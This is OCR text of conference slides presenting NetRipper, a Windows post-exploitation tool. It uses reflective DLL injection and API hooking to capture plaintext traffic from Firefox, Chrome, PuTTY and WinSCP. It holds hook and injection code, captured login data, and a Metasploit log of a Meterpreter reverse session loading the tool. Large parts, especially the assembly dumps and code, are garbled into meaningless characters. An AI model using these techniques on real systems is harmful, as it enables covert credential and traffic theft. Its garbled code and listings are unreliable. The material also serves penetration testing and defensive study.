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Introduction

NetRipper is a post exploitation tool targeting Windows systems which
uses APl hooking in order to intercept network traffic and encryption related
functions from a low privileged user, being able to capture both plain-text
traffic and encrypted traffic before encryption/after decryption.




When it is useful

Internal penetration test

Pentester



How it works - Example

Encryption layer




How it works - Example

Encryption layer




How it works - Example

Encryption layer




Implementation details

The DLL is injected into target processes

Specific functions are intercepted

Unencrypted data is saved locally




Classic DLL Injection

How it works:

1. Open the remote process

2. Write DLL full path location in process memory
3. Call LoadLibrary() to load the DLL

Disadvantages:
DLL must be written on disk
DLL is listed in the process modules



Reflective DLL Injection

Stephen Fewer [Harmony Security]

How it works:

1. DLL contents are copied from memory to target process memory
2. An exported function is called ( ReflectiveLoader() )

3. The function correctly loads the DLL into memory

Advantages:
v DLL does not touch the disk (antivirus bypass)
v DLL is not listed in the process modules (stealth)



Detailed Reflective DLL Injection [1]

Load the DLL contents into remote process:




Detailed Reflective DLL Injection [2.1]

Find the DLL image base (like LoadLibrary):




Detailed Reflective DLL Injection [2.2]

Find useful functions:

LoadLibraryA, GetProcAddress, VirtualAlloc, NtFlushinstructionCache




Detailed Reflective DLL Injection [2.3]

Load DLL headers and sections:




Detailed Reflective DLL Injection [2.4]

Process imports and load additional DLLs:




Detailed Reflective DLL Injection [2.5]

Process image relocations:

p &=
=



Detailed Reflective DLL Injection [2.6]

Call entrypoint (DlIMain):




APl Hooking

user32.dll

ncrypt.dll

SslEncryptPacket
SsIDecryptPacket

ws2 32.dll
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APl Hooking

Find function address

Place a “call” instruction

Call a generic hook function instead
Restore original bytes

Call a callback function

Call original function

Save network traffic data

Restore hook




Normal function code:

TSEZeFO01
TSEZeF03
TSEZeF04
TSEZ2eF00
TSEZeFO05S
TSEZeFOA
THEZ6FOB
TSEZeFOD
TSEZeF17
TS5EZeF1S
TSEZeF1F

BBFF

55

BBEC

B3EC 10

=11

87

33FF

813D 4870E475

Z92EEZTS

75 TB

353D TOT70E475

74 73

Hooked function code:

TSEZeFO1
TS5EZeF06
THEZeF05
TSEZeF0OA
TS5EZeFOB
THEZeFOD
TSEZeFL17
THEZeF1S
THEZeF1F

APl Hooking

MOV EDI,EDI
PUSH EBP
MOV EBP,ESP
SUE ESPE, 10
PUSH ESI
PUSH EDI
HOR EDI,EDI

CHME DWORD PTE DS: [V5E47048] ,WS2 32 _T5EZZ2EZD
JHZ SHORT WSZ 32 _75EZ6F54

CMP DWORD PTR DS:- [7S5E47070],EDI

JE SHORT WSZ 32 _T5EZoFS4

E8 DADVEBBF
B3EC 10

56

57

33FF

813D 4BVO0E47S Z3ZEEZTVS

75 TB

259320 VOT0EA47TS

T4 T3

SRLL O5CB4&ED

SUB ESP, 10

PUSH ESI

PUSH EDI

HOR EDI,EDT

CHME DWORD PTE DS: [75E47048] ,W32_ 32 _T5EZZEZS
JHZ SHORT W52 32 _T5EZeF54

CMP DWORD PTE DS: [VS5E47070],EDI

JE SHORT W52 _32_75EZeF34



APl Hooking details

Place hook:

- ((DWORD)pHook->m_OriginalAddress + 4 - (DWORD)Hook);

not a JMP

pHook->m_CallBytes[@] = (char)@xES;
memcpy (&pHook->m_CallBytes[1], &call, 4);

memcpy (pHook->m_OriginalAddress, pHook->m_CallBytes, REPLACE_BYTES);
FlushInstructionCache(GetCurrentProcess(), pHook->m OriginalAddress, REPLACE BYTES);




APl Hooking details

Get hook information:

struct HookStruct

void *m_CallbackAddress;

void *m_OriginalAddress;

unsigned char m_OriginalBytes[REPLACE_BYTES];
unsigned char m_CallBytes[REPLACE_BYTES];

push EAX
call Hooker::GetHookStructByOriginalAddress

add ESP, 4

mov EDX, [EAX + 4]
add EAX, 8



APl Hooking details

Place hook:

REPLACE BYTES
EAX
EDX
call DWORD PTR memcpy
add ESP, @xC

pop EAX
push EAX

push REPLACE_BYTES

mov EDX, [EAX + 4]

8

push EDX
push @xFFFFFFFF
call DWORD PTR [FlushInstructionCache]

pop EAX

add ESP, 4
mov EDX, [EAX]
jmp EDX




APl Hooking details

Callback function:

LONG _ stdcall SslEncryptPacket_Callback(ULONG_PTR hSslProvider, ULONG_PTR hKey, PBYTE *pbInput, DWORD cbInput, PBYTE pbOutput, DWORD cbOutput,
-JULONGLONG SequenceNumber, DWORD dwContentType, DWORD dwFlags)
1
LONG res;

if(FunctionFlow: :CheckFlag() == FALSE)
"
1
if(pbInput != NULL && cbInput > @)
.
1

"

Utils::WriteToTempFile("SslEncryptPack » (char *)pbInput, cbInput);
al function
res = SslEncryptPacket_Original(hSslProvider, hKey, pbInput, cbInput, pbOutput, cbOutput, pcbResult, SequenceNumber, dwContentType, dwFlags)

FunctionFlow: :UnCheckFlag();
Hooker: :RestoreHook( (void *)SslEncryptPacket_Callback);

return res;




Hooking Mozilla Firefox

'/ PR_Read, PR Write && PR Send, PR _Recv

if(Utils::ToLower({vDlls[i].szModule).compare("nss3.d11") == @ || Utils::ToLower(vDlls[i].szModule).compare("nspr4.dll") == @)
I
L

string sModuleName = Utils::TolLower(vDlls[i].szModule);

'/ PR_Read, PR Write
PR_Read Original = (PR_Read Typedef)GetProcAddress({LoadLibrary(sModuleName.c str()), "PR_Read"
PR_Write Original = (PR Write Typedef)GetProcAddress(LoadLibrary(sModuleName.c_str()), "PR

PR_GetDescType Original = (PR_GetDescType Typedef)GetProcAddress(LoadLibrary(sModuleName.c str

Hooker: :AddHook( (void *)PR_Read Original, (void *)PR_Read Callback);
Hooker: :AddHook ( (void *)PR_Write Original, (veid *)PR_Write Callback);

' PR_Send, PR _Recv

nFIF, F._ -"H:I;
'R_Send™);

PR_Recw Original = (PR_Recv Typedef)GetProcAddress{LoadLibrary(sModuleName.c_str()
PR_Send Original = (PR _Send Typedef)GetProcAddress{LoadLibrary(sModuleName.c_str()

)
P

Hooker: ﬂddHDDkf( id *)PR_Recv Original, (void *)PR_Recv Callback);
(void *)PR_Send_Original, (void *)PR_Send_Callback);




Hooking Putty

PuttyRider — Adrian Furtuna, KPMG Romania

Hijack Putty sessions in order to sniff conversation and inject Linux commands

vold ldisc send(void *handle,
{

Ldi=sc ldis=sc (Ldi=c)

int keyflag = O;

- term data(Terminal *term, int

if (len = ) {
ldisc update(ldisc->frontend, ECHOING, EDITING) ;
return:

bufchain add(&term->inbuf, data, len);

if (!term->in_term out) f{
} term->in term out = TRUE ;
term reset cblink(term);

if (term->selstate != DRAGGING)
term out(texrm);

term->in term out = FAL3E;

}



https://github.com/seastorm/PuttyRider

Hooking Putty

roid HookPutty()

SECTION_INFO text -
igned char SEND st = {@x51, @x53, @x55, @x56, @x8b, ex74, @x24, @xl4,
3, Bxed, @x3b, @xfd, 8xB89, @x6c, Bx24, exle };
= {Bx56, @xff, Bx74, 8x24, 8x14, B8x3b, Bx74, 8x24, 8xéc,
Bxd6, Bx6@, Ox58, Bxed};

text = Process::GetModuleSection("putty

if(text.dwSize @ || text.dwStartAddress == @)

1
DebuglLog::Log("[ERROR] Cannot get Putty sectio
return;

{/ Serach functi

DWORD pSend = Process::SearchMemory((voeid *)text.dwStartAddress, text.dwSize, (wveoid *)SEND_string, 21
DWORD pRecv = Process::SearchMemory((veid *)text.dwStartAddress, text.dwSize, (void *)RECV_string, 1

Recv == 8
[l p )

DebugLog::Log("[ERROR] Cannot get Putty functions!™);
return;
S/ Add h

PuttySend _Original = (PuttySend_Typedef)pSend;
PuttyRecv Original = (PuttyRecv Typedef)pRecv;

Hocker: :AddHook( (void *)pSend, (wvoid *)PuttySend Callback);
Hooker: :AddHook( (void *)pRecv, (wvoid *)PuttyRecv_Callback);




Hooking WinSCP

Find send/recv, asm { int 0x3 }, compile, run

WinSCP - RAD Studio XES
File Edit Search WView Refactor Project Run Component Tools Castalia Window Help V| e ©

OEE DR -BBEE &% G- EE 28 32-bit Windows v «-»-:60
Structure * % &} welcome Page| El winscp ElssH.c [P ssHH

ro - 2
H | El B | s W )
=] Includes 1f (do_blan

e

enum’
Pkt A4
ssh2_disconnect_reasons
mede log packet (== logotx,
enUmM?2 PET INCOMING, st->pkti
type =shl pkt
- ssh_tty_parse_specchar(char *s) st->pktin
- @ ssh_tty_parse_boolean(char *s) nblanks, &blank, NULL):
-2 sshi_pkt_type(int type) '
L ssh2_pld_type(Plt_KChx pkt_kcty, Pkt_ACtk pki_act
I enuma3

E-:} sshi_




Hooking WinSCP

JUuous A = Fa Ly 0 | A I L Juouco g

Packet *pkt)

I
L

h->gueueing)

_queue (ssh, pkt);

_send nogueue (ssh, pkt); static struct Packet #ssh2 sh ==l int *datalen)
I
1

struct rdpkt2 state
FILE *a;:

new packet|():

Check the contents of the i
*PaCket* Structu re! - ip! ssh-»sccipher->blksize;

& 55H CIPHER IS_CBC)



Hooking WinSCP

PUSH
MOW ,

MOV , DWORD
MOW , DWORD

>CMF DWORD FETE

PUSH

MOV

ADD

FUSH

FUSH

PUSH

MOV , DWORD
MOV » DWORD




iIng WinSCP

'/ Hook WinSCP

—lvoid HookWinSCP()
r
1

SECTION_INFO text = {@, @};
unsigned char SEND_string[] @x55, @x8B, @xEC, @x8B, @x55, @x0C, @x5B, @x45, @x@8, @x83, exB3, ex2C, oxel, exea, exea };
unsigned char RECV_string[] @x55, @x8B, @xEC, @x83, @xC4, @xE4, @x53, @8x56, 8x57, @x8B, @x75, exle, @x3B, exsD, exés };

text = Process::GetModuleSection("winscp.exe™,

if(text.dwSize == @ || text.dwStartAddress == @)

1
Debuglog: :Log("[ERROR] Cannot get WinSCP section!™);
return;

'/ Serach functions

DWORD pSend = Process::SearchMemory((veid *)text.dwStartAddress, text.dwSize, (veid *)SEND_string, 15);
DWORD pRecv = Process::SearchMemory((veid *)text.dwStartAddress, text.dwSize, (veid *)RECV_string, 15);

if(pSend == @ || pRecw
1

Debuglog: :Log("[ERROR] Cannot get WinSCP functions!™);
return;

¥
S/ Add hooks

55H_Pktsend_Original = (SSH_Pktsend_Typedef)pSend;
S5H_Rdpkt Original = (55H_Rdpkt Typedef)pRecv;

Hocker: :AddHook( (voeid *)pSend, (void *)SSH_Pktsend_Callback);
Hocker: :AddHook( (void *)pRecv, (void *)SSH_Rdpkt_Callback);

[ I S N




Hooking Chrome NSS

atatic PR atus

g3l InitICLayer (void

"o e

gal_layer id = PR _GetUniqueldentity

g3l SetuplOMethods static wveid
33l _inited = PR_THL

return PR SUC

33l SetuplfMethcods

*new_methods = scombined methods;

*napr methods PR GetDefault

*my_methods = £33l methods;

= *napr methods;

2773. static const PRIOMethods ssl methods

2774, PR DESC LaYERED,

33l

new methods->file type = my methods->file type;

new_methods->close my methods->close;

new methods—-> = my methods->read;

new_methods-> my methods->write;
s3]l HWrite,
=33l ilabkle,

g3l Availabletd,
g3l FSync,

3l Seek,

g3l Seekéd,

g3l FileInfo,

/net/third_party/nss/ssl/sslsock.c

s3]l Connect,



Hooking Chrome NSS

BE247E2% 3308
HE24732E 2937
BE247220 ~EB EE
BEz4722F &2 LOAREF4E8F
HE=247S34 ES 48F&FFFF
BE247837 &9

BEZ247E2A RS c40QCEOF
BE247E3F EB EDEEEBE
BE24 7544 C cERSCEAF 818888600
BE24724E SEEE
BE247356  C3

HOR
MO OWoRD PTR DS: CEDIT.ESI
SHORT chrome_1.H0E247210
FUSH chrome_1.B8F74EEEE

FOF

T

EA™l 1

“OR

ER=, ERR

chrome_1.BE246E7S

ECH

I 1 B el R ettt L = H

chirome_ 1 HEZ4 7851

FiLISEnn ST

ERE, ERR

| TSl ] sl o T o ol o T |

4

RSCII

FFSSLFF

HEZ2472E1
HEZ47EEE
HE24 7353
HE24 7358
HE24735A
BE2472EF
HEZ47S54
HE24 7365
HE24 7367
HE247369
HE24736E
BE24727E
BEZ247E7E
HE24 7370
HE24 7332
HE247337
HE24733C
HEZ47291
HE24 7395
HE24739E
HE2472AE
HE2473AS
BE2472AA
HEZ47SAF
HE2473E4
HE24 7389
HE2473BE
HE2473C3
BEZ247SCE
HE247F2C0
HE24 7302
HE247307
BE24730C
BE2472E]L
HEZ47SES
HE2473EE
HE2473F@
HE2473FE
BE2473FA
HEZ47EFF
BEZ47964
HE24 7389
HE247I6E
BE2473132
BE247312
BEZ47910
HE247322
HE24 7327
HE24 7320
BE247321
BE2479ZE
HEZ4792E
HE24 7346
HE24 7345
BE24734A
BE24734F
HEZ47954
HE24 7359
HE2473I5E
HE24 7363
BE247364
BE247IEE
HEZ2473973
HE24 7374

CE

EY
ES 1081806EE
FH

FOEASCEAF
edE2gaar

24

ACEsCES

CoEZERA

ERRSCES

CCESSOA

4ASCER

FUSH ESI
FUSH EDI

Mo

chrome_1.

ESI.ERE

BEZ247375

MOY EDI, chrome_1.BFCERSFE
MOV ERX,. DWORD PTR DS: [F22EZ2241
FUSH 24

FOF
REF
HOL

ECH

MOUS OWORD PTR ES:CEOIT, OWORDO P

OworD FTR
EAX, DWORD
OWorRD FTR
ERH, DWORD
OworD FTR
ERH, DWORD
OworD FTR
EAH, DWORD
DWORD FTR
ER: . OWORD
OworD FTR
EAX, OWORD
OworD FTR
EAX, DWORD
DWORD FTR
ER: . OWORD
OworD FTR
EAX, DWORD
OworD FTR
ERH, DWORD
OworD FTR
ER: . OWORD
OworD FTR
EAX, DWORD
QWorRD FTR
ERH, DWORD
OworD FTR
ER: . OWORD
OworD FTR
EAH, DWORD
DWORD FTR
ERH, DWORD
OworD FTR
ERH, DWORD
OworD FTR
EA, DWORD
DWORD FTR
ER: . OWORD
OworD FTR
EAX, OWORD
OworD FTR
EAX, DWORD
DWORD FTR
ER: . OWORD
OworD FTR
EAX, DWORD
QWorRD FTR
ERH, DWORD
OworD FTR

E0I
OWorRD FTR
OWoRD FTR
EST

05: CFCEE3YC], EAR
FTR DOS5: [F22B2281
05: [FCESS20], ERX
FTR DZ:[F22E22C]
O5: CFCEE324]1, EAX
FTR OS5: [FEZE23@]
O5: CFCE@322], EAX
FTR OS5: [F22B2341
DS: [FCEB22C], ERX
FTR DO5: [FEZE235]
O5: CFCEE3908], ERX
FTR OS5z [FEZEZ23C]
O5: CFCES394], EAX
FTR DS: [FEZE2481
DS: [FCEB222], EAX
FTR DO5: [FEZE2441
O5: CFCEE39C], EAX
FTR DOS5: [F22B2481
O5: CFCESZAB], EAX
FTR DZ:[F22E24C]
O5: CFCE@2A4]1, EAX
FTR OS5: [FE2E256]
05: CFCEE2AR], EAX
FTR OS5: [F22B2541
0S: CFCES2AC], EAX
FTR DZ:[F22E258]
O5: CFCEB3ER], EAX
FTR OS5: [FEZEZ5C]
O5: CFCESZE4], EAX
FTR OS5: [FEZB266]
DS: [FCEB2E2], EAX
FTR DZ:[F22E264]
O5: CFCEEZEC], EAX
FTR OS5: [FEZB2558]
O5: CFCEBZCH], EAX
FTR DS: [F22B2eC]
DS: [FCEB2C4], ERX
FTR DO5: [FEZE27E]
O5: CFCEE3CE], EAR
FTR OS5: [FE2E2741]
O5: CFCEBZCC], EAX
FTR DS: [FEZE27E]
D5: [FCEB2081], ERX
FTR OS5: [FEZEZ7C]
05: CFCEE304], EAX
FTR DOS5: [FEZB2281]
0S: [FCES202], EAX
FTR DZ:[F22E2584]
O5: CFCE@20C], EAX

O5: CFCE@ZYE], 4
0S: [FCESSFO], EAX



Hooking Chrome NSS

tring[ ]
tring[ ]
unsigned char MOV _string[]

Ead
(]

unsigned char SSL_

unsigned char PSH

oM @

]
[ex]
e 'I' (]

Initialization data

zections

:1GetModu
:1GetModu

DWORD pSSL = Process::SearchMemory((void *)rdata.dwStartAddress, rdata.dwSize, (wvoid *)SSL_string, 7);
memcpy (PSH_string + 1, &pSsL, 4);

. ] DWORD pPSH = Process::SearchMemory((void *)text.dwStartAddress, text.dwSize, (wvoid *)PSH_string, 5);
. Find SSL string

DWORD pMOV = Process::SearchMemory((void *)pPSH, 5@ee, (void *)MOV_string, 4) - 4;

2. Flnd pUSh SSL /f Get function addre s from structur
1 DWORD dwStruct = *(DWORD *)pMOV;
3 = FI nd MOV [X]l 4 DWORD pfSSL_Read = *(DWORD *)(dwStruct + @x3);

DWORD pfSSL_Write = *(DWORD *)(dwStruct + @xC);

. Get pointers

SS5L_Read _Original = (S5L_Read_Typedef)pfSSL_Read;
SSL_Write_Original = (SSL_Write Typedef)pfSSL_Write;

ho

Hoocker: :AddHook("chrome.dl1l”, (void *)pfsSSL_Read, (void *)SSL_Read_Callback);
Hoocker: :AddHook("chrome.dll”, (void *)pfsSL_Write, (wvoid *)SSL_Write_Callback);




Hooking Chrome BoringSSL

LIE ##lib
_ LINE

int 55L read(S5 *3, void *buf, int num
n

if (3-r*handshake

OPENSSL_PUT ERR( . . B UNINITIALIZED)

return -1;

a->shutdown & S5L RECEIVED 5

s-r»rw3tate = S55L MOTHING;

return

_clear system error

return s-r*method->ssl_read_ app datais, buf,

/ssl/ssl_lib.c

OPENSSL PUT =

return -1;

if (s—-r»shutdown &

s-rrwstate =
OPENSSL_FUT _E

return -1;

yvid *buf,

UNINITIALIZED);

OL_IS_SHUTDOWN

buf,




Hooking Chrome BoringSS

HBE41C2ER
BE41C2EE
BE41C2ED
BE41C9FE
BE41C9F4
BE41C9FE
BE41C9FE
HE4 1CHEE
BE41CHAS
BE4 1CHEA
BE4 1CHAC
BE41CHL1
BE41CH14
BE41CHLY
BE41CHLE

HE41C1FES
BE41C1FS
BE41C1FE
HE41C1FE
BE41C2E:
BE41C2Ed
BE41CzE3
HE41C2HE
BE41C213
BE41C215
BE41CZ1AH
HE41CZ21F
BE41Cz222
BE41C225
HE41CE2E

=2

SEEC

SB4D @32
2372 24 Bo

7L 28
&3 SERIEEEE
63 CAIHSNAF
23 F4EEEEEE
63 52000888
&A 1@

EZ CeD4FEFF
2304 14
23C2 FF

j=n]

=]

=1

ZBEC

2e4D Gg
2379 24 bR
rE 23

o EfOIBEEE
&8 CEIRSAAF
28 FABbEERE
28 SdBEEEEE
cH 1@

EZ BSOCFEFF
2304 14
230 FF

cD

[

FUSH EEF

Mol EEF,ESF

MO ECH,DWORD PTR S55: [EBF+51

CHMF DWORD PTR DS:[ECH+241,H
SHORT chrome_1.B0E41CAL1S

FUSH =29E

FUSH chiome_1.B8FEA2ACH

FUSH GBF4

FUSH &2

FUSH 18
chrome_1.BE483EDT

AOO ESF, 14

OF _ER¥, FFFFFFFF

FOF EEF

ASCII "cr~bebuildsslaveswin-build~srcth ird_partu

FUSH EEF

MO EEF, ESF

MO ECH, DWORD FTR S5: [EEF+E]

CHF DWORD PTR DS:[ECH+241,H
SHORT chrome_1.B8E41C227

FUSH 2B

chrome_1.BF2ASACE

BF4

=

FUSH 1@
chrome_1.BE483EDT

AOD ESF, 14

OFR ERX,FFFFFFFF

FOF EEF

ASCII "fca:~b~build-slawve win~buyild~sr

Find 15th and 17t occurrence.

GF2H9ES4

£3152068
S31E0B6E
E21EERDE
E21EFEEE
S2158066
E42EEE0E
£4351006
S4SBEEEE
E43E7REE
E423E2000
E45EAREE
S43CEREE
E404EREE
404 1066
£402E000
S403FEEE
E4029066
c402ABEE

BEAEZEEE
BE4E 1 ERE
aE48 1665
BEAE2EE0
BEEG 1 BEE
BE4E 1 ERE
BEEE 1 EaE
B1784605
BESC 1868
BEESREEE
BEEE1EEG
BEEG 1 BEE
BEEZEEAE
BEEFABEE
B1Ee4600
BEEG1BEE
BEEE ] ERE
BEEE 1 E6a5
BEAE2EE0
BEEG1BEE
BEEE ] ERE
BEEE 1 EaE
BEEE1EEG

BEEG 1 BEE
AFAG T RO

chrome_1:.

Owner

chrome_1
chrome_1
chrame_1
chrome_1

chirame_1
chrome_1
chrome_1

CPAFPI
COPAFPI
OPAEPT
CPAFPI
CPAFPI
COPAFPI

OFEPT
Ol 7

LeHt
Jrdata
.data
s

« SHENOY

ST
e loc

Lent
data
. idata
didat
=
Lo Lo

thi

stack of thi

FE header
code
import s, exp
data

PESDUPC?S
relocations

FE header
ciode, eHport
data
imports

al=g-tulFknlul-03

relocat lons
EE hezdcer

BEAE4EEE
BEEE ] ERE
BEEE 1 E6a5
BEEEIEEE
BEE2SEAG
BEEE 1 E6EE
BEEEEEEE
BEEG 1 BEE
BEEE2ERE
BEEE 1 EaE
BEE1 1666
BEAE4EEE
BEEE 1 EAE
aEad44EE5
BEEE2EE0
BEAE2EEE
BEEE ] ERE
AEEE2EE0

MECME
MSoMS
MESME
MECMS
MECME
MSoMS
MEoME
weuwtapi
weutapi
wewtapl
weutapi
weuwtapi
WeLtapi

»idata
.didat
tls
=
reloc

Lent
data
. idata
didat
=
Lo Lo

SEERT
data
»idata
.didat
LRI

imports
data

CESOM TS
relocat ions
FE header
ciode, eHport
data
imports

CESOM TS
relocat lons
FE header
code, EHport
data
imports

TEs0lMCEs

DNIDIDIDDNDDNNDN DN DNDD 0T

=

=

m

m

oS RS AE|| 5 A= B
LES e Bz Bl mE A
inSArwEs- pExe, ..
S SR 5. ... cisb
~bulld-slave-~win
sbu i ld~srcsth ird
_party~boringssl
wsrc~ssl=ssl_Llib

ALL:
taMULL: teMULL: 15
SLuz ct-b
sbuild-slave-win
sbu i ldwsresth ied
_party=boringssl
“ErceEs LwEs l_cer
.




Hooking Chrome BoringSSL

gned char S5L string[] = "c

st unsigned int nBytesBeforeRead

unsigned int nBytesBeforelirite
signed int READ IND = :
int WRITE_IND = 15;

rdata
text

1. Search string

2. Search PUSH

3. Find 15% PUSH
4. Find 17t PUSH
5. Go back 17 bytes

DWORD pS5L = Process::SearchMemory((veid *)rdata.dwStartAddress, rdata.dwSize, (veid
memcpy (PSH_string + 1, &pSsL, 4);

DWORD pPSHRead earchMemoryByN d *)text.dwStartAddress, text.dwSize,
DWORD pPSHUWrite : yByh d *)text.dwStartAddress, text.dwSize,

we "bytes before™ to reach the function start

pPSHRead pPSHRead - nBytesBeforeRead;
pPSHWrite = pPSHWrite - nBytesBeforeWrite;

Sf Add hooks

_Read_0Original = (S5L_Read_Typedef)pPSHRead;
_Write Original = (S5L_Write_Typedef)pPSHWrite;

d *)pPSHRead, (void *)S5L_Read_Callback);
id *)pPSHWrite, (void *)S5L_Write_Callback);

Initialization

*)55L_string, 78);

d *)PSH_string, 5, READ_IND);
oid *)PSH_string, 5, WRITE_IND);




Plugins

Process data sent and received in order to extract the most
useful information.

Default plugins:

* PlainText — true/false

* Datalimit —4096

e StringFinder — user,pass,login



PlainText

3568_firefox.exe_PR_Read.txt - Notepad

File Edit Format WView Help

HTTP/1.1 288 0K

Date: Thu, 86 Aug 20815 21:88:29 GMT

Server: Apache

Last-Modified: 5at, 15 Dec 2812 23:83:58 GMT
ETag: "4423d3-fd-4dBec29bdb388"
Accept-Ranges: bytes

Content-Length: 253
Strict-Transport-Security: max-age=15765000
Connection: close

Content-Type: image/png

PNG

THDR2h* tEXtSoftwareAdobe ImageReadyqe<IDATx @Ae2f~rX!,1Q[fQ ZTpEd @ 1GE@nE

ryHI" @<)2" Yb9|KCIZIENDB™ JFIFHHYExifMM*>Q0QQPhotoshop ICC profileXICC PROFILEHLinomntrRGB XYZ
lacspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZIgXYZ,bXYZ@dmndTpdmddvuedlview$lumimeas
$tech@rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB
TECA1966-2.1XYZ QXYZ XYZ oB8XYZ bXYZ $descIEC http://www.iec.chIEC http://wwi.iec.chdesc.IEC 61966




DataLimit

3568_firefox.exe_PR_Write.txt - Notepad

POST /index.php HTTP/1.1

Host: postimage.org

User-Agent: Mozilla/5.8 (Windows NT 6.3; WOWAR4L; rv:39.8) Gecko/20188181 Firefox/39.8
Accept: text/hitml,application/xhtml+xml,application/xml;q=8.9,%/%;q9=
Accept-Language: en-US,en;q=08.5

Accept-Encoding: gzip, deflate

Referer: http://postimage.org/

Content-Length: 87441

File Edit Format View Help

182751541118956
Cookie: adult=no
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

182751541118956
Content-Disposition: form-data; name="upload"”; filename="acknowledge-a-job-well-done.jpg"
Content-Type: image/jpeg

L11A"Qa2qB#R$3br(S%A&cDds3 11" 2A03Bq#aCRb2S, D{$P+h " z1WIWCCT 1 79W\y™ $YQ:Ohc 1%; =LazY¥%<+; *z

IPt<@ FROAk&i~BzIrq09c!m#"|"|* #Ve0{cIc?-zlyeH/I"jV\"#YJle+CN21xg|[;t1 Om;

+BVP: 0. ~cSW=: JHI"<jWZ1lvmI@lz |Gxv!iM;,? /INgsL: ql#NYFM <.4;KPRO})83\sGr8E\\+4Kq}E™ ]6gd+, | "1i0"Q
(VzBG@E4 : ND1*W, K%-\1gVtAghkVkxv7YpakHBpIhu?11geM%G, "+WVp2 =oKn$]+Q<gIM[vFNE);/
1171drRR3NeFaB:9; cd+; Jo~dzLCjq " GVogxZhSAckB2{ 1Z1Tv¥ sUck Y@d15vX1[Q«v?{gld=t@POHzwiDyH<Ja)P

[27 "gfnyd+6e”[§)-m$Zqa}qlB[dZmIP




StringFinder

3568 _firefox.exe_StringFinder.txt - Notepad

File Edit Format View Help

Page=PasswordSeparation5ignIn&GALX=-g4l3anbHz8&continue=httpsXkl3A%2F%2Fmail.google. com¥2Fmail
#2F&service=mail&rm=false&ltmpl=defaultlscc=18ss=18&osid=1&Profilelnformation=APMTqunh8XBznD5 pl15
@dRnljdnRpT+vDGg8zHdtHb1GySQ2z5mp 5qnBcBXHYBPxvwNBWeQio3xEDvFBm7u0pwkRAs jDmQ& utfa=
&bgresponse=
%21ERICLOCMnRBKti5EFMoptBaShj ICAAMAAFITAAAAEKgETfJexwhliedr8 _AjmYPVS2CPQpYxy9QPok 7 gKRg/d1fAhlly
2julMHT -p51f2pnNUSITEBOY z7ygO0EcpIbMdxG1ldFULLO- -dqT5eKgRgGLM L -Rmd3G9dNzOQMRAW7ASnj7€TEL19DKT - -C-

kLRmgsCIrDilMLImExMS olVwjSHRtrlfglgbRDbD931Xgkdetu/HNykBldrzDoufj9o(2866F4 8qTiok(Qk2DHNLZ2AuMKWL
W-
ogB9AjBy0G3L9hsPBsYazQBIWhOmGyQuACFLIPAAKQKYOTv/oriFVWZogjMOR1ibTptLBIQIbtug2COMErbQGPcpx3fwvBgg
efoCro9l-4uldpS5iXd uBMnrYwB T8&pstMsg=1&dnConn=&checkConnection=youtube
#®301927%3A1&checkedDomains=youtube&identifiertoken=&identifiertoken audio=&identifier-captcha-
input=§& &PersistentCookie=yes&rmShown=1fe $@ENOF7
4.

=1




Windows module

Command Prompt

tslzersslonutsDezktopsMetRippersReleasze *HetRipper . exe

Injection: HetRipper.exe DLLpath.dl]l processname.exe
Example = MetRipper.exe DLL.d11 firefox.exe

enerate DLL:

—h, —help

-, —urite
-1. —location

Plugins:

—plaintext
—datalimit
——ztringf inder

Print this help message
Full path for the DLL to write the configuration data
Full path vhere to save data files <{default TEMF>

Capture only plain—text data. E.g. true
Limit capture size per request. E.g. 4876
Find specific strings. E.g. uzer.pass.config

: MetRipper.exe —w DLL.d1ll -1 TEHMF -p true —d 4896 —-= uzer.pass

twUzerssJonut-DesktopsHetRipper-Releaze >

C:\Users\lonut\Desktop\NetRipper\Release>NetRipper.exe DLL.dIl firefox.exe

Trying to inject DLL.dIl in firefox.exe
Reflective injected in: 9960

s



Metasploit module

=[ metasploit v4.11.4-2015071402

]
+ -- --=[ 1467 exploits - B840 auxiliary - 233 post 1
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf = use exploit/multi/handler
msf exploit| I = run

[*] Started reverse handler on 192.168.225.131:4444

[*] Starting the payload handler...

[*] Sending stage (B85B06 bytes) to 192.168.225.129

[*] Meterpreter session 1 opened (192.168.225.131:4444 -> 192.168.225.129:53783) at 2015-08-07 12:47:49 -0400

meterpreter » background

[*] Backgrounding session 1...

msf exploit( = use post/windows/gather/netripper
msf post| )} = show options

Module opticns (post/windows/gather/netripper):

Namea Current Setting Required Description

DATALIMIT 4096 no The number of bytes to save from requests/responses
DATAPATH TEMP no Where to save files. E.g. C:\Windows\Temp or TEMP
PLAINTEXT true no True to save only plain-text data

PROCESSIDS no Process IDs. E.g. 1244,1256

PROCESSMAMES no Frocess names. E.g. firefox.exe,chrome.exa

SESSION yes The session to run this module on.

STRINGFINDER user,login,pass,database,config no Search for specific strings in captured data




Penetration tester
(virtual machine)

DEMO

| Meterﬁreter |

Administrator
(virtual machine)

s

s



Future work

X64 processes

Multiple software

Older versions

Thread safety

Regular expressions plugin



Defense

NetRipper.exe from the Low Restricted

" , . :
group is attempting to perform actions

with address space of the process Dea I M ICFOSOft,

Firefox.

On a Windows system, a low privileged
TR process should not be able to access

s or modify the memory space of other

Elock now p ro C e S S .

Close application, do not trust

Thank you!

Note: There are at least 10 methods to inject a DLL.



Project information

https://github.com/NytroRST/NetRipper/

Z


https://github.com/NytroRST/NetRipper/

Conclusion

Post exploitation tool

Uses Reflective DLL Injection and APl Hooking
Hooks application-specific functions

Captures network traffic in plain-text

Easy to use



Questions?

[




Contact information

> jonut.popescu [@] outlook.com

iv‘ > contact [@] securitycafe.ro
>  @NytroRST ¥




